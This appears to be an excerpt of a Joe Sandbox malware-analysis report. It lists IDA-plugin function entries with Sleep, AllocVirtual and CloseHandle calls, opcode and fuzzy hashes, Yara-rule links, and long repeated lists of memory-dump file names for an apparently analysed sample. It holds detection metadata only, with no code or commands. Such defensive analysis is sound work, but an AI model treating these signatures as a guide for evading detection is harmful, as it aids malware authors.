Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9d6e61412499f0f06331fdc8a4a4f9e8a39961c04c34136956f540efd96ad7c4
Instruction ID: 842240bc5401c00178f2411ef72c34d77199708b6fb2df18563ee7f414ec96ff
Opcode Fuzzy Hash: 9d6e61412499f0f06331fdc8a4a4f9e8a39961c04c34136956f540efd96ad7c4
Instruction Fuzzy Hash: BE11D2F190C600DFD705AF68C88177ABAF5EB58312F16092CAAD586250E23158689B97

Function 00C072DF Relevance: 1.3, APIs: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?), ref: 00C073A6

Memory Dump Source

Source File: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 522a7b5cc1ca922183427b3d371e1cdf51195cb4c00112efdb60a703e4bf803f
Instruction ID: 2ec9a5fafe128462c14db8f8b83b239317db8a386cb1fb41dfe0fe2b980bd350
Opcode Fuzzy Hash: 522a7b5cc1ca922183427b3d371e1cdf51195cb4c00112efdb60a703e4bf803f
Instruction Fuzzy Hash: B7F0A772D8D35AA5E7149F7984497AF76589F11310F155512AD01939F1C1E0AD00EB19

Function 00C07347 Relevance: 1.3, APIs: 1, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?), ref: 00C073A6

Memory Dump Source

Source File: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1b3d7385ae1e7e67bf8099a0f26594615ff86f96fcea9599c8b025b3674a4125
Instruction ID: fb82f69da2cdea190aedaab6e58d165bf8a4aa815bbfb2e3e24e17ab8096f5f1
Opcode Fuzzy Hash: 1b3d7385ae1e7e67bf8099a0f26594615ff86f96fcea9599c8b025b3674a4125
Instruction Fuzzy Hash: 69E0685188D1E2B4E7A6177500A979F7FA8AF0B3317385191DE82914D7D3906904FA51

Function 00C0737A Relevance: 1.3, APIs: 1, Instructions: 20sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?), ref: 00C073A6

Memory Dump Source

Source File: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d25d6136af97c054442fbbd92cf091c262035d6b611647b88d2b16b00163f7e2
Instruction ID: 73de03b32aea5df4b3e9e795f1f1a75d0d0605baaf0af2f4c205dc9c7d55d99e
Opcode Fuzzy Hash: d25d6136af97c054442fbbd92cf091c262035d6b611647b88d2b16b00163f7e2
Instruction Fuzzy Hash: 6BD02B63C8D6A33BE7134B504C59B1FB9082B03310F204514EA516B4E2C3D43904E770

Function 00C0739B Relevance: 1.3, APIs: 1, Instructions: 16sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?), ref: 00C073A6

Memory Dump Source

Source File: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6269087febcbcdbec409f7fa123c4aae5c4c35d7bf9c385dc9d2a4053084b607
Instruction ID: f9e4aa8bbc890b41520a4d0d311eaa093edcda33b61be6703990906b6569c07b
Opcode Fuzzy Hash: 6269087febcbcdbec409f7fa123c4aae5c4c35d7bf9c385dc9d2a4053084b607
Instruction Fuzzy Hash: D5C08093D9B5D534FA0C67204C4DB3F150CCB61607F106265BE93E74D3D5403C115514

Function 00BF1FC0 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00BF1FC0

Memory Dump Source

Source File: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
